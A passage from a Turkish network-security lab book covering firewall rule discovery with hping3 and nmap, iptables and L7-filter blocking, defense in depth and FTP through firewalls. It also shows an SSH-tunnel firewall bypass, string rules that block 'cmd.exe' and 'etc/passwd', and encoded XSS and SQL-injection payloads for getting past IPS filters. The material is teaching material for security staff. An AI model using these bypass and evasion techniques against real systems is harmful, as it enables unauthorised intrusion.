karşılık herhangi bir cevap gelmemiştir. REJECT yöntemi ile paket engellemek için ise yazılması
gereken iptables kuralı aşağıdaki gibi olacaktır.
root@kali:~#iptables -A INPUT -p tcp --dport 80 -i eth0 -j REJECT
Paket engelleme metodu olarak REJECT kullanılırsakarşı gelenpaketler düşürülecektir ve istek
yapan tarafa bilgi dönecektir. Aşağıdaki tablodan da anlaşılacağı üzere gönderilen paketler
düşürülmüş ve istek yapan tarafa kabul edilmediğini gösteren cevap dönmüştür.
root@kali:~# hping3 -p 80 -S 6.6.6.63
HPING 6.6.6.63 (eth0 6.6.6.63): S set, 40 headers + 0 data bytes
ICMP Port Unreachable from ip=6.6.6.63 name=UNKNOWN
ICMP Port Unreachable from ip=6.6.6.63 name=UNKNOWN
ICMP Port Unreachable from ip=6.6.6.63 name=UNKNOWN
ICMP Port Unreachable from ip=6.6.6.63 name=UNKNOWN
--- 6.6.6.63 hping statistic ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
14. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
1.2. GÜVENLİK DUVARI KURALLARININ KEŞFEDİLMESİ
Siber tehditlerin artmasıyla birlikte güvenlik cihazlarının kullanımı da artmaya başlamıştır.
Kurumun gereksinimlerine göre yapılandırılan bu güvenlik duvarları iç ağ iledış dünya arasında
bir koruma görevi sağlar. Hangi kurumun hangi ihtiyaca göre güvenlik duvarını yapılandırdığı
normal şekilde anlaşılamaz. Ama bir takım paket gönderme istekleri ile genel olarak güvenlik
duvarına ait kurallar öğrenilebilir.
İlk adımda hedef sistemin 80 ve 443 portuna SYN paketi göndererek açık olup olmadığına
bakılarak internet açık olup olmadığı erişimi kontrol edilebilir.
root@kali:~# hping3 -p 80 -S cnn.com
HPING cnn.com (eth0 157.166.226.25): S set, 40 headers + 0 data bytes
len=46 ip=157.166.226.25 ttl=41 id=25391 sport=80 flags=SA seq=0 win=5840 rtt=181.0 ms
len=46 ip=157.166.226.25 ttl=42 id=38569 sport=80 flags=SA seq=1 win=5840 rtt=177.5 ms
len=46 ip=157.166.226.25 ttl=41 id=16429 sport=80 flags=SA seq=2 win=5840 rtt=189.9 ms
^C
--- cnn.com hping statistic ---
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 177.5/182.8/189.9 ms
Bir sonraki adım olarak iyi bilinen ilk 100 portun durumlarına bakılarak açık, kapalı ya da
filtered olduğuna bakılabilir.
root@kali:~# nmap -sS -p22 cnn.com
Starting Nmap 6.40 ( http://nmap.org ) at 2014-05-07 05:25 EDT
Nmap scan report for cnn.com (157.166.226.25)
Host is up (0.18s latency).
Other addresses for cnn.com (not scanned): 157.166.226.26
rDNS record for 157.166.226.25: www.cnn.com
PORT STATE SERVICE
22/tcp filtered SSH
Kısaca bu adımların hepsini tek seferde yapmak için ise nmap port tarama aracı kullanılarak en
çok kullanılan 100 porta bakılabilir.
root@kali:~# nmap -sS cnn.com --top-ports 1000
Starting Nmap 6.40 ( http://nmap.org ) at 2014-05-07 09:56 EDT
Nmap scan report for cnn.com (157.166.226.26)
Host is up (0.21s latency).
Other addresses for cnn.com (not scanned): 157.166.226.25
rDNS record for 157.166.226.26: www.cnn.com
Not shown: 998 filtered ports
PORT STATE SERVICE
80/tcp open http
443/tcp closed https
15. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Nmap done: 1 IP address (1 host up) scanned in 15.22 seconds
Bazı durumlarda hedef sistem üzerindeki açık portları görmek ve güvenlik duvarı kurallarını
öğrenmek için port taraması yapıldığında bütün portların açık olduğu görülebilir. Syn cookie
olarak adlandırılan bu servis ilebütün portlar açık olarak gösterilip saldırganınsistemhakkında
bilgi alması önlenebilir.
root@kali:~/Desktop# nmap bga.com.tr
Starting Nmap 6.40 ( http://nmap.org ) at 2014-03-26 07:44 EDT
Nmap scan report for bga.com.tr (50.22.202.163)
Host is up (0.17s latency).
rDNS record for 50.22.202.163: 50.22.202.163-static.reverse.softlayer.com
PORT STATE SERVICE
1/tcp open tcpmux
3/tcp open compressnet
4/tcp open unknown
6/tcp open unknown
7/tcp open echo
9/tcp open discard
13/tcp open daytime
17/tcp open qotd
19/tcp filtered chargen
20/tcp open ftp-data
21/tcp open ftp
22/tcp filtered SSH
23/tcp open telnet
24/tcp open priv-mail
25/tcp open smtp
26/tcp open rsftp
30/tcp open unknown
32/tcp open unknown
33/tcp open dsp
37/tcp open time
42/tcp open nameserver
43/tcp open whois
49/tcp open tacacs
53/tcp open domain
70/tcp open gopher
79/tcp open finger
80/tcp open http
81/tcp open hosts2-ns
…..
Böyle bir durumda gerçek kuralları öğrenebilmek ve açık portları görebilmek için versiyon
taraması yapılarak hedef sistemhakkında gerçek bilgiler alınabilir.
16. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
root@kali:~# nmap -sV bga.com.tr
Starting Nmap 6.40 ( http://nmap.org ) at 2014-05-07 10:05 EDT
Nmap scan report for bga.com.tr (141.101.117.55)
Host is up (0.080s latency).
Other addresses for bga.com.tr (not scanned): 141.101.116.55
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http cloudflare-nginx
8080/tcp open http cloudflare-nginx
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.08 seconds
1.3. FARKLI PORTTA ÇALIŞTIRMA YÖNTEMİYLE KLASİK GÜVENLİK DUVARI
ATLATMA YÖNTEMLERİ
Sızma testlerinde iç ağı yetkisiz olarak dışarıdan erişime açmak için ya da iç ağdan dışarıya veri
kaçırmak için bu şekilde bir yöntem kullanılabilir. Genel olarak kurumlar 80 ve 443 portlarını
açık tutarlar ve bunların dışındaki portları yetkisiz kullanıcılara kapatırlar. Böyle bir durumda
dışarıdaki 80 ve 443 dışındaki bir porta erişmek isterseniz, SSH tünel ile bunu
gerçekleştirebilirsiniz. Yasaklı olan portlara erişmek için dışarda SSH servisini açık olan bir
makineye trafik aktarılır ve internete o makine üzerinden çıkılır. Böylece güvenlik duvarına ait
kurallar atlatılmış olur ve istenilen her yere erişim sağlanır.
1.3.1. SSHuttle ile güvelikduvarı atlatma
Aşağıdaki uygulamada kurum dışında bir yerde SSH servisi açık olan bir makineye yapılan
bağlantı görülmektedir. Kurumlarda genelde 80 ve 443 haricindeki portlar dışında dışarıya
erişim olmadığından dolayı, tunnel kurulacak makinenin SSH servisini 443. port üzerinde
çalıştırması işi daha kolay hale getirecektir.
root@kali:~/SSHuttle-master# ./SSHuttle -r cihat@1.1.1.17:443 0.0.0.0/0
cihat@1.1.1.17's password:
Connected.
server: warning: closed channel 2 got cmd=STOP_SENDING len=0
server: warning: closed channel 9 got cmd=STOP_SENDING len=0
client: warning: closed channel 1 got cmd=DATA len=2048
client: warning: closed channel 1 got cmd=DATA len=872
client: warning: closed channel 1 got cmd=DATA len=2048
client: warning: closed channel 1 got cmd=DATA len=872
client: warning: closed channel 1 got cmd=DATA len=1460
client: warning: closed channel 1 got cmd=DATA len=2048
client: warning: closed channel 1 got cmd=DATA len=2048
client: warning: closed channel 1 got cmd=DATA len=284
17. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
client: warning: closed channel 1 got cmd=EOF len=0
Buradan da anlaşılacağı üzere, 1.1.1.17makinesine tüm trafik aktarılmış ve artık internete çıkış
1.1.1.17makinesi üzerinden gerçekleşmiştir. Bu durumda iseaçıkolan tüm portlara erişim elde
edilebilir ve yasaklı sitelere girilebilir.
Aşağıdaki ekran görüntüsünde ise tünelleme gerçekleştikten sonra 8834 portuna erişilebildiği
görülmektedir.
18. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
1.4. GÜVENLİK DUVARI KURALLARININ DENETİMDEN GEÇİRİLMESİ
Güvenlik cihazlarına yazılan kuralların ne kadar verimli olduğunu test etmek için yazılan bir
takım araçlar bulunmaktadır. Bunlardan biri Nipper adında bir araçtır. Mevcut güvenlik duvarı
kuralları dışa aktardıktan sonra bu araç kullanılarak yazılan kurallar denetimden geçirilebilir.
İlk olarak program açılır ve daha önceden alınmış kural çıktısı Nipper ile açılır.
Daha sonra next ile devam edilir ve raporlama seçenekleri belirlenir. Buradan raporda
bulunması istenilen detaylar seçilir.
19. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Seçenekler belirlendikten sonra Next seçeneği ile devam edilir. Artık format ve seçenekler
belirlenmiştir ve sonuç alınmaya hazırdır.
20. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Finish butonuna basıldıktan sonra programa yüklenen kural dosyası analiz edilecek ve rapor
olarak sunulacaktır. Burada yapılandırma dosyasında bulunan kurallara ilişkin
değerlendirmeler
( önem derecesi, bulgu başlığı, çözüm önerisi gibi )açıkça görülecektir.
21. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
1.5. PORT BAĞIMSIZ PROTOKOL TANIMA(PİPİ) UYGULAMASI
Kurulan herhangi bir uygulama, servis ya da protokol varsayılan olarak protokol tarafından
belirlenen port üzerinden hizmet verir. Varsayılan olarak gelen bu portları değiştirmek
mümkündür. Bazıdurumlarda uygulamaya aitvarsayılanport değiştirilmek istenebilir. Örneğin
çok fazla kaba kuvvet saldırı girişimi olduğu için SSH portu 22’den farklı bir porta çalıştırılabilir.
Fakat böyle bir durumda trafik izlendiği zaman port üzerinde hangi protokolün çalıştığını ayırt
etmez zor olacaktır.
Örneğin 443. port üzerinde SSH servisinin çalıştığı düşünülürse, normal bir bağlantı esnasında
tarafı izlendiği zaman bağlantı SSL olarak görünecektir. Aşağıdaki ekran görüntüsünde 443.
port üzerinden SSH kurmaya çalışan bir kullanıcının trafiği gözükmektedir.
443 portu SSL için kullanıldığından wireshark bu bağlantıyı SSL olarak görecektir ve SSH
olduğunu yakalayamayacaktır. Bu trafiğin SSH olduğunu biliniyor SSH olarak incelenmek
istenirse SSL paketlerinden birisine sağ tıklanarak “Decode As” seçeneğinden SSH seçilir.
22. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Artık paketler 443 portunda çalışmasına rağmen SSL olarak değil SSH olarak görünecektir.
23. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
1.6. LİNUX IPTABLES EKLENTİLERİ KULLANARAK PAKET İÇİNDE GEÇEN
KELİMEYE GÖREENGELLEME
“iptables” eklentileri kullanılarak paket içerisinde geçen kelimeye göre engelleme yapmak
mümkündür. Hassas dosyalar, erişilmemesi gereken önemli dizinler gibi kritik yerler iptables
kuralları ile erişime yasaklanabilir. Mesela işletim sistemi üzerinde komut çalıştırmak isteyen
saldırganınengellemesiiçin“cmd.exe” kelimesine göre engelleme yapılmasıya da etc/passwd
dosyasını okumaya çalışan saldırganın engellenmesi gibi aksiyonlar iptables kullanılarak
rahatlıkla yapılabilir.
Kural girilmeyen normal bir bağlantıda hedef sistemin 80 portuna bağlantı kurulmak
istendiğinde normal bir şekilde bağlantı gerçekleşecektir.
Hedef sistemüzerinde olmayan bir dosyaya erişilmeye çalışıldığı zaman ise normal olarak RST
dönecektir ve aşağıdaki gibi bir uyarı dönecektir.
Eğer ‘cmd.exe’ ya da ‘etc/passwd’ gibi kritik kelimelerin engellenmesi ve saldırganın bunlara
erişmemesi isteniyorsa aşağıdaki gibi bir iptables kuralı girilerek, o kelimenin geçtiği
bağlantılar engellenebilir.
root@kali:~# iptables -A INPUT -p tcp -m string --string “cmd.exe” algo bm -j DROP
24. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Burada yapılmak istenen, içinde “cmd.exe” geçen bağlantıları düşürmek ve saldırganı
engellemektir. ROP veya REJECT seçeneği ile pakete cevap verilmeyebilir ya da direk istek
düşürülebilir. Burada yazılan kurala göre yapılan bir bağlantıda içerisinde “cmd.exe” kelimesi
geçen bağlantılar DROP edilecektir ve saldırgan erişemeyecektir.
Burada görüldüğü üzere iptables, “cmd.exe” kelimesini yakalamış ve bağlantıyı düşürmüştür.
Saldırgan hedef sisteme yaptığı bu istekten cevap alamayacak ve bağlantı belirli bir timeout
değerinden sonra sonlanacaktır.
1.7. LINUX L7 FİLTER KULLANARAKPORT BAĞIMSIZ PROTOKOL/UYGULAMA
ENGELLEME
L7 filter ile port bağımsız ptotokol ve uygulama engellemek için aşağıdaki gibi bir yol haritası
izlenebilir.
L7 Filter Kurulumu
L7 filter paket depolarından hazır olarak indirilebilir. Bunun için kullanılan komut aşağıdaki
gibidir.
root@kali:~# apt-get install l7-filter-userspace
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following extra packages will be installed:
l7-protocols libnetfilter-queue1
The following NEW packages will be installed:
l7-filter-userspace l7-protocols libnetfilter-queue1
0 upgraded, 3 newly installed, 0 to remove and 207 not upgraded.
Need to get 110 kB of archives.
25. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
After this operation, 877 kB of additional disk space will be used.
Do you want to continue [Y/n]? y
Gerekli olan çekirdek modüllerini yüklemek ve otomatik olarak yüklemesini etkinleştirmek için
aşağıdaki komutlar kullanılmalıdır.
root@kali:~# modprobe ip_conntrack_netlink
root@kali:~#modprobe nf_conntrack_ipv4
Test Edilmesi
Daha sonra /etc dizini altına l7.conf dosyasının oluşturulması gerekiyor. Bunun için hazır gelen
örnek conf dosyası kullanılabilir.
root@kali:~# cp /usr/share/doc/l7-filter-userspace/examples/sample-l7-filter.conf
/etc/l7.conf
L7 filter’ı debugging modda çalıştırmak için;
l7-filter -vv -f /etc/l7.conf -q 0 –v
Kullanımı
“iptables” ile gelen paketleri yönlendirmek için aşağıdaki gibi bir kural yazılabilir.
iptables -t mangle -A PREROUTING -p udp --sport 53 -j NFQUEUE --queue-num 0
Daha sonra l7-filter çalıştırılır.
l7-filter -vv -f /etc/l7.conf -q 0 -vvvv
Sonrasında dig ile bir DNS sorgusu yapılır.
root@kali:~# dig google.com
; <<>> DiG 9.8.4-rpz2+rl005.12-P1 <<>> google.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 35603
;; flags: qr rd ra; QUERY: 1, ANSWER: 11, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;google.com. IN A
;; ANSWER SECTION:
26. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
google.com. 63 IN A 173.194.113.165
google.com. 63 IN A 173.194.113.160
google.com. 63 IN A 173.194.113.164
google.com. 63 IN A 173.194.113.169
google.com. 63 IN A 173.194.113.167
google.com. 63 IN A 173.194.113.166
google.com. 63 IN A 173.194.113.161
google.com. 63 IN A 173.194.113.168
google.com. 63 IN A 173.194.113.163
google.com. 63 IN A 173.194.113.174
google.com. 63 IN A 173.194.113.162
;; Query time: 106 msec
;; SERVER: 6.6.6.254#53(6.6.6.254)
;; WHEN: Wed May 14 04:47:32 2014
;; MSG SIZE rcvd: 204
DNS isteği gerçekleşmiştir fakat l7.conf dosyasına bakıldığı zaman DNS istekleri için 53 yerine
başka bir portun kullanıldığı görülecektir.
root@kali:~# cat /etc/l7.conf
# The format of this file is:
# protocol mark
# Do not use marks less than 3, since a mark of 0 means that l7-filter hasn't
# seen the packet yet, and a mark of 1 means that it has failed to classify
# it, but will try again with the next packet of the connection and a mark
# of 2 means that l7-filter has given up trying to match.
gnutella 3
imap 4
aim 5
smtp 6
dns 7
validcertssl 8
tor 9
ipp 10
ssdp 11
telnet 12
zmaap 13
yahoo 14
msnmessenger 15
ssl 16
SSH 17
http 18
27. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
1.9. KATMANLI GÜVENLİKMİMARİSİ NEDİR?
Katmanlı güvenlik anlayışı, korunan sistem üzerinde birden fazla önlem alma işlemidir. Güncel
hayatta bunun örneklerini sıkça görebiliriz. Mesela evinin etrafına korunmak için çit çektiren
bir kişi sadece çit çektirmekle güvende olmayacağını düşünerek evine sağlambir kapı, belki
alarm, pencere koruması ve ek güvenlik önlemleri de alır. Burada amaç bir engeli aşabilen
kötü niyetlilerin diğer engellere takılmasıdır.
Katmanlı güvenlik anlayışının bilişim dünyasındaki karşılığı derinlemesine güvenliktir ve
derinlemesine güvenlik(Defense-in-Depth) kavramı bilişim güvenliği konusunda önemli bir
yere sahiptir.
Saldırganlara karşı alınan önlemlerin hepsinin bir şekilde aşılacağı fikrine karşı geliştirilmiştir.
Teker teker aşılabilen bu önlemler birlikte kullanıldığı zaman saldırganların işinin daha
zorlaşacağı ve saldırı başarı oranının düşeceği tezine dayanır. Bununla birlikte internete ya da
bir ağa bağlı tamamen güvenli bir sistemkurulamaz.
Derinlemesine güvenliğin uygulamalı bir örnekle açıklanması: Derinlemesine güvenlik
önlemleri ile korunmaya çalışılan bir şirket veri tabanının katmanlı güvenlik mimarisine uygun
olarak korunması için gerekli minimal bileşenler aşağıdaki gibi olacaktır.
1. Katman: Sınır yönlendirici cihazı
2. Katman: Sınır güvenlik duvarı
3. Katman: DMZ güvenlik duvarı
4. Katman: (NIPS)Ağ tabanlı saldırı engelleme sistemi
5. Katman: Netflow anormallik sezinleme sistemi
6. Katman: Antivirüs sistemi
7. Katman: (HIPS)Konak tabanlı saldırı engelleme sistemi
1.9.1. En dış yönlendirici cihaz
Bu cihaz şirket/kurum ağına giren çıkan her paketin mutlak surette uğramak zorunda olduğu
bir sistemdir ve kurumun güvenliğinden sorumlu ilk bileşendir. Yönlendirici cihaz olarak
kapasitesi sınırlı olsa da alınabilecek bazı temel önlemler vardır. Bunlar;
● uRPF protokolü çalıştırarak kandırılmış ip paketlerini engelleme.
● RFC’lere uyumlu olmayan TCP, UDP ve ICMP paketlerini filtreleme.
● Sadece kurum içerisinde kullanılan uygulamaların portlarının filtrelenmesi.
Bir yönlendirici cihazın alabileceği önlemler temelde bunlarla sınırlıdır. Katmanlı güvenlik
mimarisi gereği yönlendirici tarafında yapılamayan işlemler başka bir bileşen tarafından
kapatılmalıdır.
1.9.2. GüvenlikDuvarı Bileşeni
Güvenlik duvarı bileşeni yönlendirici cihazların yapamadığı durum bilgisi tutma işini ve ağ
adresi çevrimi (NAT) işini üstlenecektir. Buna ek olarak “rate limiting” gibi işlevini de yerine
getirirler.
1.9.3. Ağ tabanlı saldırı tespit ve engelleme sistemi
Güvenlik duvarı ve yönlendirici cihazlar bir pakete ait 4.katmana kadar verilere bakabilirler. 4.
katmandan yukarısına bakamadıkları için tam bir güvenlik kalkanı oluşturamazlar. Bir paketin
içeriğini izlemeden o paketin saldırı paketi mi normal bir bağlantıya mı ait olduğu anlaşılamaz.
28. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Burada devreye derinlemesine paket analizi yapabilen sistemler girmelidir ki bu örnekte bu
bileşen ağ tabanlı saldırı engelleme sistemidir.
Ağ tabanlı saldırı tespit ve engelleme sistemi gelen –giden her paketi içeriklerine kadar
inceleyerek paketler içerisinde saldırı imzaları arar. Saldırı imzası yakalanan paketlerin iç ağa
geçişi engellenir.
1.9.4. Anormalliksezinleme sistemi
Bazı durumlarda saldırganlar kendilerini saldırı engelleme sistemlerinden gizlemeyi
başarabilirler. Bu tip durumlarda ağa giren çıkan paketleri loglayan ve ağın normal çalışmasını
benimsemiş sistemler devreye girerek bir anormallik olduğunu raporlayabilir.
1.9.5. AntivirüsSistemi
Kullanılan sistemWindows ve türevleri üzerinde bina edilmiş ise karşılaşacağı sıkıntılardan biri
de virüsler olacaktır. Her türlü önlemin düşünüldüğü bir ortamda virüslerin de hesaba
katılması gerekir. Bunun için, ya çalışan sistemüzerinde bir antivirüs programı çalıştırılır ya da
daha genel bir sistemde ağa giren ve çıkan tüm trafik üzerinde virüs kontrolü yapılabilir.
1.9.6. Konak tabanlı saldırı engellemesistemi(HIPS)
Bir şekilde alınan tüm önlemler geçilse bile hedef sistem üzerinde çalıştırılacak saldırı
engelleme sistemi devreye girerek saldırıyı başarısız olarak sonuçlandırabilir. Katmanlı
güvenlik mimarisinin son ve en önemli bileşenlerinden biri olan konak tabanlı saldırıengelleme
sistemleri hem UNIX hem de windows sistemler için geçerlidir.
1.10. FTP VE GÜVENLİK DUVARLARI
1.10.1. FTP Protokolü
FTP, sık kullanılan protokoller(HTTP, SMTP, DNS vs.) arasında en sorunlu protokoldür. Diğer
protokoller tek bir TCP/UDP portu üzerinden çalışırken FTP birden fazla ve dinamik portlarla
çalışır(IRC’deki veri transferi ve iletişim portu gibi). Bu portlardan biri “Command port” diğeri
DATA port olarak adlandırılır.
Command portu üzerinden ftp iletişimine ait gerekli temel bilgiler aktarılır. Temel bilgiler; ftp
sunucuya gönderilecek kullanıcı adı ve parola bilgileri, ftp sunucuya hangi porttan
bağlanılacağı, hangi ftp çeşidinin kullanılacağı gibi bilgiler olabilir. Data portu ise veri transferi
amaçlı kullanılır.
1.10.2. FTP Çeşitleri
FTP ikiçeşittir: pasifve aktif FTP. Her ikisininde farklı amaçlı kullanımları mevcuttur. HangiFTP
çeşidinin kullanılacağı ftp istemcisi tarafından belirlenir.
1.10.3. Aktif FTP
Bu FTP çeşidinde istemci aktif rol alır. Bilinenin aksine orijinal ftp aktif ftp’dir fakat günümüz
internet altyapısında çeşitli sorunlara yol açtığı için pasif ftp daha fazla tercih edilmektedir.
Aktif ftp de çıkan sorunlar pasif ftp’nin geliştirilmesini sağlamıştır.
Adım adım Aktif FTP;
29. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
1) istemci FTP sunucuya Command portundan(21) bağlanır.
2) FTP sunucu gerekli karşılama mesajı ve kullanıcı adı sorgulamasını gönderir.
-İstemci gerekli erişim bilgilerini girer.
-Sunucu erişimi bilgilerini kontrol ederek istemciye yanıt döner.
Eğer erişim bilgileri doğru ise istemciye ftp komut satırı açılır.
Burada istemci veri transferi yapmak istediğinde (ls komutunun çalıştırılması da veri transferi
gerçekleştirir)3. adıma geçilir.
-İstemci kendi tarafında 1024’den büyük bir port açar ve bunu PORT komutu ile FTP sunucuya
bildirir.
3) FTP sunucusu, istemcinin bildirdiğiport numarasından bağlantıkurar ve gerekli aktarım
işlemleri başlar.
4) İstemci Onay mesajı gönderir.
Örnek Aktif FTP bağlantısı
# ftp -A -d 192.168.100.27
Connected to 192.168.100.27.
220 (vsFTPd 2.0.3)
Name (192.168.100.27:root): huzeyfe
---> USER huzeyfe
331 Please specify the password.
Password:
---> PASS XXXX
230 Login successful.
30. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
---> SYST
215 UNIX Type: L8
Remote systemtype is UNIX.
Using binary mode to transfer files.
ftp> ls
---> EPRT |1|192.168.100.27|58518|
200 EPRT command successful. Consider using EPSV.
---> LIST
150 Here comes the directory listing.
Aktif FTP bağlantısının Sniffer(Wireshark) çıktısı
1.10.4. PasifFTP
Pasif FTP, günümüz internet dünyasında kullanılan güvenlik duvarı, NAT cihazları gibi trafikte
değişiklik yapan sistemlerden kaynaklanan ftp problemlerini sunucu tarafında halledebilmek
için çıkarılmış FTP çeşididir. Pasif FTP de istemci pasif roldedir, sunucu aktif roldedir.
31. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Adım adım Pasif FTP:
1) İstemci FTP sunucuya Command portundan(21) bağlanır.
2) FTP sunucu gerekli karşılama mesajı ve kullanıcı adı sorgulamasını gönderir.
-İstemci gerekli erişim bilgilerini girer.
-Sunucu erişimi bilgilerini kontrol ederek istemciye yanıt döner. Eğer erişim bilgileri doğru ise
istemci
-FTP istemcisi PASV komutu aracılığı ile sunucudan ek port açmasını bekler. Sunucu
yapılandırma dosyasında belirtilen port aralığından bir port açarak bunu istemciye belirtir
3) FTP istemcisi, sunucudan gelen bu porta bağlanarak veri alışverişini başlatır
4) İstemci onay mesajı yollar
Örnek Pasif FTP bağlantısı
# ftp -d 192.168.100.27
Connected to 192.168.100.27.
220 (vsFTPd 2.0.3)
Name (192.168.100.27:root): huzeyfe
---> USER huzeyfe
331 Please specify the password.
Password:
---> PASS XXXX
230 Login successful.
32. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
---> SYST
215 UNIX Type: L8
Remote systemtype is UNIX.
Using binary mode to transfer files.
ftp> ls
---> EPSV
229 Entering Extended Passive Mode (|||35330|)
---> LIST
150 Here comes the directory listing.
Pasif FTP bağlantısının Sniffer(Wireshark) çıktısı
1.10.5. GüvenlikDuvarlarında YaşanabilecekFTP Sorunları
Zaman zaman “FTP ye bağlanıyorum ama ls çektiğimde bağlantı kopuyor ya da öylesine
bekliyor” şeklinde bir tabire şahit olmuşsunuzdur. Bu gibi istenmeyen durumlar FTP’nin
karmaşık yapısı ve Firewall’ların protokolden anlamamasından kaynaklanır.
Bir Firewall ’da HTTP bağlantısını açmak için sadece 80. portu açmanız yeterlidir fakat FTP için
21. portu açmak yetmez. Bunun sebebi FTP’nin komutların gidip geldiği ve verinin aktığı port
olmak üzere iki farklı port üzerinden çalışmasıdır. İlk port sabit ve bellidir:21. port fakat veri
bağlantısının gerçekleştiği port olan diğer port kullanılacak ftp çeşidine (Aktif FTP veya Pasif
FTP ) göre değişir ve eğer firewall FTP protokolünden anlamıyorsa genelde sorun yaşanır.
Yeni nesil Firewall’larda bu sıkıntı büyük ölçüde giderilmiş olsa da ara ara eksik
yapılandırmalardan aynı hataların yaşandığı görülür. Linux Iptables’da ftp problemini aşmak
için mod ip_conntrack_ftp modülünün sisteme yüklenmesi gerekir. OpenBSD Packet Filter ise
bu tip aykırı protokoller için en uygun yapı olan proxy mantığını kullanır. FTP için ftp-proxy,
upnp için upnp proxy, sip için sip-proxy vs.
1.10.6. Aktif FTP ve GüvenlikDuvarı
33. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
FTP istemcinin önünde bir Firewall varsa istemci kendi tarafında port açsa bile bu porta izin
Firewall tarafından verilmeyeceği için problem yaşanacaktır.
Internet Explorer varsayılan durumda Aktif FTP yapmaya çalışır. Pasif FTP yapmaya zorlamak
için aşağıdaki adımlar takip edilmelidir;
1.10.7. PasifFTP ve GüvenlikDuvarı
Pasif FTP de ftp sunucu ek port açsa bile önünde bir firewall varsa Firewalldan o porta erişim
izni verilmesi gerekir.
2. WAF(WEB APPLİCATİON FİREWALL)
2.1. ENCODİNG/ŞİFRELİ TRAFİKKULLANARAKIPS SİSTEMLERİ ATLATMA
Blacklist temelli kontrolleri atlatmak için kullanılabilecek bir diğer yöntem ise saldırı isteklerini
kısmen veya tamamen sunucu tarafından desteklenen encoding yöntemleri ile değiştirerek
yollamaktır. Örneğin günümüzde kullanılan çoğu uygulamada web uygulama problemlerinin
34. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
ortaya çıkmasına neden olan en büyük etken ', ", <, >, /, ;, |, gibi karakterlerdir. Sunucu
tarafındaki IPS’ler üzerinde oluşturulan blacklistler ile bu karakterler engellenmek istense de
encoding yöntemleri ile bu kısıtları aşmak oldukça kolay olacaktır.
Örneğin web uygulamalarında en çok can yakan '(tırnak) karakterinin farklı encoding
yöntemleri ile gösterimi aşağıdaki gibidir.
URL Encode - %27
Double URL Encode - %2527
Unicode URL Encoding - %u0027
Base64 - Jw==
UTF-8 (2 byte) - %c0%a7
UTF-8 (JAVA) - uc0a7
HTML Entity - '
HTML Entity Number - 
Decimal - '
Örnek olarak www.bga.com/index.php?id=<script>alert(‘BGA’)</script> isteği doğrudan url
adresi ile istenirse aktif güvenlik cihazı bu isteği bloklayacaktır ve erişilemecektir. Ama
aşağıdaki gibi encoding metotları ile bu kısıtı aşmak oldulça kolaydır.
URL Encode - %3Cscript%3Ealert%28%u2018BGA%u2019%29%3C/script%3E
Double URL Encode -
%253Cscript%253Ealert%2528%25u2018BGA%25u2019%2529%253C/script%253E
Base64 - PHNjcmlwdD5hbGVydCgYQkdBGSk8L3NjcmlwdD4=
Decimal - 3c7363726970743e616c657274281842474119293c2f7363726970743e
Yine en çok kullanılan payloadlardan biri olan ‘or ‘1’=’1 ifadesinin çeşitli encoding yöntemleri
aşağıdaki gibidir.
